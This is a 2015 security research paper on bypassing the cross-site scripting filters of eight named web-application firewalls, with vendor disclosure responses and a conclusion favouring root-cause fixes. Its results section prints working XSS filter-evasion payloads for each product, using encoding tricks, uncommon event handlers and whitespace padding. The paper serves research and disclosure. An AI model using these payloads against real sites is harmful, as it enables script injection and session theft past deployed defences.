EVADING ALL WEB-APPLICATION FIREWALLS XSS FILTERS

SEPTEMBER 2015

MAZIN AHMED | MAZIN@MAZINAHMED.NET | @MAZEN160

Table of Contents

1. Abstract

Due to the increasing use of Web-Application Firewalls, I conducted a research on all well-known Web-Application Firewalls to check their efficiency in protecting against cross-site scripting attacks. The motive behind this research was to confirm that there is no effective way to protect against a vulnerability other than fixing its root cause.

The tests were conducted against popular Web-Application Firewalls, such as F5 Big IP, Imperva Incapsula, AQTRONIX WebKnight, PHP-IDS, Mod-Security, Sucuri, QuickDefense, Barracuda WAF, and they were all evaded within the research.

2. Introduction

A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Usually, those rules protect against common threats, such as cross-site scripting (XSS), SQL injection (SQLI), and other common web-application related vulnerabilities. In my tests, I focused on finding methods to bypass WAFs protection against cross-site scripting vulnerabilities.

"Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site"[1].

3. Testing Environment

The environment used in this research was based on several virtual machines that runs different modern browsers. Due to the research motivation and goals I focused on the following web browsers:

- Google Chrome
- Opera Browser
- Mozilla Firefox
- Internet Explorer

4. Products

The research focused on the following Web-Application Firewalls.

4.1 F5 BIG IP WAF

"F5 Networks, Inc. is a multinational American company which specializes in Application Delivery Networking (ADN) technology that optimizes the delivery of network-based applications and the security, performance, availability of servers, data storage devices, and other network resources. F5 is headquartered in Seattle, Washington and has development, manufacturing, and sales/marketing offices worldwide. F5 originally manufactured and sold some of the industry's first load-balancing products. In 2010 and 2011, F5 Networks was on Fortune's list of 100 Fastest-Growing Companies worldwide. The company was also rated one of the top ten best-performing stocks by S&P 500 in 2010" [2].

"The F5 BIG-IP® Application Security Manager is a Web application firewall that uses both positive and negative security models to identify, isolate and block sophisticated attacks without impacting legitimate application transactions"[3].

4.2 Sucuri

"Sucuri is a company which offers a security service that detects unauthorized changes to network (cloud) assets, including web sites, DNS, Whois records, SSL certificates and others. It is also heavily used as an early warning system to detect malware, spam and other security issues on web sites and DNS hijacking"[4]. It also protects against most common web-application vulnerabilities, such as SQL injection, cross-site scripting, file inclusion attacks, and many other vulnerabilities.

4.3 ModSecurity

"ModSecurity is an open source, cross-platform web application firewall (WAF) module. Known as the “Swiss Army Knife” of WAFs, it enables web application defenders to gain visibility into HTTP(S) traffic and provides a power rules language and API to implement advanced protections"[5].

4.4 Imperva Incapsula

"Imperva is a provider of cyber and data security products. With an integrated security platform, Imperva data center security provides tools to combat attack, theft, and fraud, mitigate risk, and streamline regulatory compliance. Imperva is headquartered in Redwood Shores, California"[6].

"Incapsula WAF provides solutions to protect websites against SQL Injections, cross site scripting, illegal resource access OWASP top ten threats, and web 2.0 threats including comment spam, fake registrations, site scraping and malicious bots. It works by changing a website's Domain Name System (DNS) to route the website traffic through Incapsula. Incapsula then filters out malicious attacks from bots and website scrappers. Incapsula also has a content delivery network that caches websites on their server network to speed up website load time. The cached information is returned from a server closest to the end user in order to provide fast page loads. This also eliminates slow response from central servers due to heavy server traffic" [7].

4.5 PHP-IDS

"PHPIDS (PHP Intrusion Detection System) is an open source PHP Web Application Intrusion Detection System. It was written by Mario Heiderich, Christian Matthies, Lars H. Strojny and several others in March 2007"[8].

"PHPIDS detects Cross-site scripting (XSS), SQL injection, header injection, and Directory traversal, Remote File Execution, Local File Inclusion, and Denial of Service (DoS). It is simple to use and well structured. It provides impact of every attack by analyzing any chosen input variables as POST, GET, SESSION, COOKIE" [8].

PHP-IDS has a large rules set to prevent XSS attacks, and can be downloaded through the project website, php-ids.org.

4.6 QuickDefense

"QuickDefense is an Nginx and Lua based easy to setup and configure web application firewall. It allows users to write own rules in very simple language" [9].

4.7 AQTRONIX WebKnight

"AQTRONIX WebKnight is an application firewall for IIS and other web servers and is released under the GNU General Public License. More particularly it is an ISAPI filter that secures your web server by blocking certain requests. If an alert is triggered WebKnight will take over and protect the web server. It does this by scanning all requests and processing them based on filter rules, set by the administrator. These rules are not based on a database of attack signatures that require regular updates. Instead WebKnight uses security filters as buffer overflow, SQL injection, directory traversal, character encoding and other attacks. This way WebKnight can protect your server against all known and unknown attacks. Because WebKnight is an ISAPI filter it has the advantage of working closely with the web server, this way it can do more than other firewalls and intrusion detection systems, like scanning encrypted traffic"[10].

4.8 Barracuda WAF

"Barracuda Networks, Inc. is a company providing security, networking and storage products based on network appliances and cloud services. The company's security products include products for protection against email, web surfing, web hackers and instant messaging threats such as spam, spyware, Trojans, and viruses. The company's networking and storage products include web filtering, load balancing, application delivery controllers, message archiving, NG firewalls, backup services and data protection"[11].

"The Barracuda Web Application Firewall provides robust security against targeted and automated attacks. OWASP Top 10 attacks like SQL Injections and Cross-Site Scripting (XSS) are automatically identified and logged"[12].

"Barracuda Web Application Firewall contains comprehensive rule sets to detect plain or obfuscated XSS attacks in incoming requests. Barracuda Web Application Firewalls protects against XSS without requiring any additional configuration or changes to web application code. Signatures are automatically updated to cover the latest threats" [13].

5. Results

5.1 Imperva Incapsula

During tests, I noticed that Imperva Incapsula XSS filter protects against common XSS payloads. For instance, the following payload is blacklisted. When an attacker inputs a common payload, such as `<script>alert(1)</script>`, the request will be blocked. `<img/src="x"/onerror="alert(1)">` is also blocked. Meanwhile, `<img src=x onerror="input">` is not detected. The only obstacle to bypass the filter is to find action upon the error. alert(), prompt(), confirm(), and eval() were all blocked, so an attacker would have to look for other alternatives to create a proof of concept to show the existence of cross-site scripting vulnerabilities.

5.1.1 First Bypass:

Double URL Encoding + HTML Encoding + Unicode Encoding (All Modern Browsers)

The fist bypass has been identified using a mixture payload of HTML and Double-URL encoding. The action payload was encoded by HTML and Double-URL Encoding. Double-URL encoding works on specific servers that URL-decode the client's input multiple times.

```
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
```

5.1.2 Second Bypass:

*JS-F**K Payload (All Modern Browsers)*

The second bypass is based on JS-F**K, a technique that has been introduced to create JS with only 7 characters. The payload uses the same structure as the first one but with slight changes.

`<img/src="x"/onerror="[JS-F**K Payload]">` *The 1,230~ characters to execute the alert() function.*

The payload is unlimited to actions, but the only obstacle is its length. Most servers restrict the GET request URL length. Therefore, the payload would work better if it worked on POST requests. Other than that, the payload seems to be a perfect solution for evading Imperva's Incapsula WAF.

5.2 WebKnight

WebKnight testing was quite different, as the rule set of WebKnight are updated frequently by the information security community. The research identified two different bypasses that affects WebKnight v4.1, and were patched on the release of WebKnight v4.2.

5.2.1 First Bypass:

ontoggle JS Event (Google Chrome)

The following bypass currently works on Chrome only. It is expected that other browsers would support the ontoggle JS event, but at the date of the research, the ontoggle JS event currently works on Chrome only.

```
<details ontoggle=alert(1)>
```

5.2.2 Second Bypass:

Onshow JS event (Mozilla Firefox)

The following payload works on Firefox. It is made using the "onshow" JS event. When a user right-clicks, the script will be executed, bypassing WebKnight XSS filter detection.

```
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
```

5.3 F5 Big IP

F5 Big IP known to be one of the most advanced enterprise-level web-application firewalls. The discovered cross-site scripting evading techniques are not limited in actions. One of the discovered bypasses works on all modern browsers, while the second one works on Firefox only.

5.3.1 First Bypass:

Onwheel JS event +Resizing the page by specifying the height on the style attribute (Google Chrome & Mozilla Firefox & Opera Browser)

The following payload can be used on all browsers. It is focused on the "onwheel" JS event. Once the JS event occurs, the script will be executed.

```
<body style="height:1000px" onwheel="[DATA]">
```

5.3.2 Second Bypass:

Onshow JS event (Mozilla Firefox)

The following payload is using the "onshow" JS event. When a user right-clicks, the script will be executed. The payload works on Firefox only.

```
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
```

5.3.3 Third Bypass

*JS-F**K Payload (Google Chrome & Mozilla Firefox & Opera Browser)*

Common functions that indicate the existence of the XSS vulnerability are blocked by default on F5 Big IP. Therefore, I had to find a technique to find a technique to bypass the filter. Using JS-F**K encoding allowed me to bypass the F5 Big IP WAF detection.

```
<body style="height:1000px" onwheel="[JS-F**k Payload]">
```
The 1,230~ characters to execute the alert() function.

```
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
```
The 1,230~ characters to execute the alert() function.

5.3.4 Fourth Bypass

HTML Encoding + Double URL Encoding (Google Chrome & Mozilla Firefox & Opera Browser)

Another bypass of blocking common JS functions can be done by a mix of encoding. By using HTML encoding and double-URL encoding, F5 Big IP WAF XSS filter would be bypassed.

```
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
```

```
<div contextmenu="xss">Right-Click Here<menu id="xss"
onshow="prom%25%32%33%25%32%36x70;t(1)">
```

5.4 Barracuda WAF

Barracuda WAF results are as same as F5 Big IP results. Although testing the two web-application firewalls were separate and in a different timing, the results ended with the same payloads as bypasses that are not detected by F5 Big IP and Barracuda WAF.

5.4.1 First Bypass:

Onwheel JS event +resizing the page by specifying the height on the style attribute (Google Chrome & Mozilla Firefox & Opera Browser)

The following payload can be used on all browsers. It is focused on the “onwheel” JS event. Once the JS event occurs, the script will be executed.

```
<body style="height:1000px" onwheel="alert(1)">
```

5.4.2 Second Bypass:

Onshow JS event (Mozilla Firefox)

The following payload is using the “onshow” JS event. When a user right-clicks, the script will be executed. The payload works on Firefox only.

```
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
```

5.5 PHP-IDS

PHP-IDS testing difficulties in the testing were different than most web-application firewalls. By reviewing the filter's rule sets, it appeared that the rule sets does not blacklist JS events. Instead, PHP-IDS main protection were on the actions of the JS event. For instance, alert() is instantly detected by PHP-IDS. Also, all currently known encoding techniques are blocked too. Therefore, I had to take to different path in the testing. Furthermore, it had certain protection against payload structure, that had me to exploit few browser-behavior issues to bypass its protection protection.

5.5.1 First Bypass:

Using Browser-Behavior Issues (All Modern Browsers)

The bypass used few browser-behavior issues in the way that browsers renders the user's input.

```
<svg+onload=+"[DATA]"
```

The above payload is not being detected in PHP-IDS v0.7. Cross-site scripting attacks can be executed using the same technique for different purposes.

5.5.2 Second Bypass:

Double URL-Encoding on Certain Characters (All Modern Browsers)

Double URL-Encoding on certain characters is not detected by PHP-IDS.

```
<svg+onload=+"aler%25%37%34(1)"
```

5.6 Mod-Security

My research showed that Mod-Security is very sensitive to any malicious requests. For example, `hello%20onsomething=dosomething` is marked as a potential cross-site scripting attack because of the "onsomething" looks similar to JS events. Therefore, the tests focused on finding internal bugs that can be used to evade Mod-Security XSS filter.

5.6.1 First Bypass:

*Using (
) and (	) (Google Chrome & Opera Browser & Internet Explorer)*

This payload have successfully bypassed Mod-Security XSS filter. The payload consists of a clickable link that points to Javascript payload. In normal cases, this technique is detected by Mod-Security, but when using a large number of HTML charsets of new lines and tab, Mod-Security fails to detect and ban the payload. The payload is treated as a non-malicious HTML tag, causing the evasion of Mod-Security XSS filter.

```
<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
```

5.6.2 Second Bypass:

US-Encoding Bypass (Internet Explorer 6 & Internet Explorer 7)

The following bypass works on Internet Explorer 6 and Internet Explorer 7. The payload possibility to be working successfully is low, unless the user is using the above browsers.

```
 ¼script¾alert(¢xss¢)¼/script¾
```

5.6.3 Third Bypass:

Triple URL Encoding (All Modern Browsers)

This bypass works against environments that escape the user's request multiple times; three times or above. As a result, it can be exploited successfully without being detected by Mod-Security.

```
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
```

5.7 Quick Defense

The current rule sets for QuickDefense WAF is not ready for production level web-applications. Although it blacklists a large number of JS events, QuickDefense WAF would be bypassed using few encoding techniques

5.7.1 First Bypass:

OnSearch JS Event + *Unicode Encoding (Google Chrome)*

It appears that the ruleset provided with QuickDefense does not blacklist Onsearch JS event, also, unicode encoding is not detected on QuickDefense.

```
<input type="search" onsearch="aler\u0074(1)">
```

5.7.2 Second Bypass:

OnToggle JS Event + Unicode Encoding (Google Chrome)

The second bypass is as same as the previous one, but instead it uses the Ontoggle JS event. Unicode encoding is also used.

```
<details ontoggle="aler\u0074(1)">
```

5.8 Sucuri WAF

Sucuri WAF is very sensitive to any malicious requests. Sucuri WAF behavior is similar to Mod-Security. On April 2015, many researchers has competed to evade Sucuri WAF. All discovered bypasses has been patched. Sucuri extensively worked to make the product as sensitive as possible. The research has been launched after finishing the improvements on Sucuri WAF. Because of it's sensitive behavior in detection, most of the used techniques on Sucuri did not create an a payload that can be used to create unrestricted cross-site scripting payload. However, the research revealed a minor issue on Sucuri WAF rule sets that can be used to perform XSS attacks against older browsers, such as Internet Explorer 6 and Internet Explorer 7.

5.8.1 Bypass:

US-Encoding Bypass (Internet Explorer 6 & Internet Explorer 7)

The following payload is executed as a valid XSS payload against Internet Explorer 6 and Internet Explorer 7 due to a bug in rendering US-encoding.

```
¼script¾alert(¢xss¢)¼/script¾
```

6. Vendor Responses:

6.1 F5

The findings has been reported to F5 security team, they have acknowledged the findings, and stated that an update will be released on September 2015 to patch the issues.

6.2 WebKnight

AQTRONIX WebKnight team acknowledged the bypasses, and stated the issues will be patched in the next release, v4.2.

6.3 PHP-IDS

All PHP-IDS developers has been contacted, but no response was heard from them.

6.4 QuickDefense WAF

QuickDefense WAF developer has been contacted with details about the bypasses. The main developer of QuickDefense WAF indicated that QuickDefense WAF isn't fully ready for production level services. The currently used rulesets are only examples. Also, the developer responded that there no currently available production-level rulesets.

6.5 Sucuri

Sucuri team has been contacted regarding the bypass, and they have patched the finding in less than 24 hours.

6.6 Imperva Incapsula

Imperva Incapsula team has been contacted, and they have discussed potential ideas of exploiting the bypasses in real-world scenarios. The team investigated the bypasses, and patched the findings.

6.7 Barracuda WAF

Barracuda team has acknowledged the findings, and patched the bypasses in August 2015.

7. Conclusion

Based on the research I have done, it appears that every WAF can be bypassed by putting a time and effort into finding its weaknesses. Every WAF has its own weaknesses that can be combined to create an attack vector that has not been detected by the WAF.

Also, the best way of patching a security vulnerability is not by using a firewall, it's by investigating the root cause of the vulnerability and fixing it. Using web-application firewalls will not protect from attacks and breaches, but it may force attackers to spend additional time in the exploitation process.

The research tends to demonstrate that bypassing web-application firewalls is possible. While trying to summarize the findings, not all discovered findings are included in this paper.

It appears that the difficulties in evading web-application firewalls slightly differs from a product to another. For instance, some products took me five minutes to bypass them, while other products took over forty-five minutes from me to bypass. In some occasions, bypasses didn't work on every client-side environment for their products.

8. Acknowledgements:

I would like to thank the following individuals for their support:

- Ahmed Abbas
- Ayman Idris
- John Stauffacher
- Marcus Royce-Angel Peterson
- Mario Heiderich

9. References:

1. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
2. https://en.wikipedia.org/wiki/F5_Networks
3. https://www.f5.com/glossary/web-application-firewall/
4. https://en.wikipedia.org/wiki/Sucuri
5. https://www.modsecurity.org/about.html
6. https://en.wikipedia.org/wiki/Imperva
7. https://en.wikipedia.org/wiki/Incapsula
8. https://en.wikipedia.org/wiki/PHPIDS
9. http://sourceforge.net/projects/quickdefencewaf/
10. https://www.aqtronix.com/?PageID=99
11. https://en.wikipedia.org/wiki/Barracuda_Networks
12. https://www.barracuda.com/products/webapplicationfirewall/features
13. https://techlib.barracuda.com/waf/crosssitescriptingattack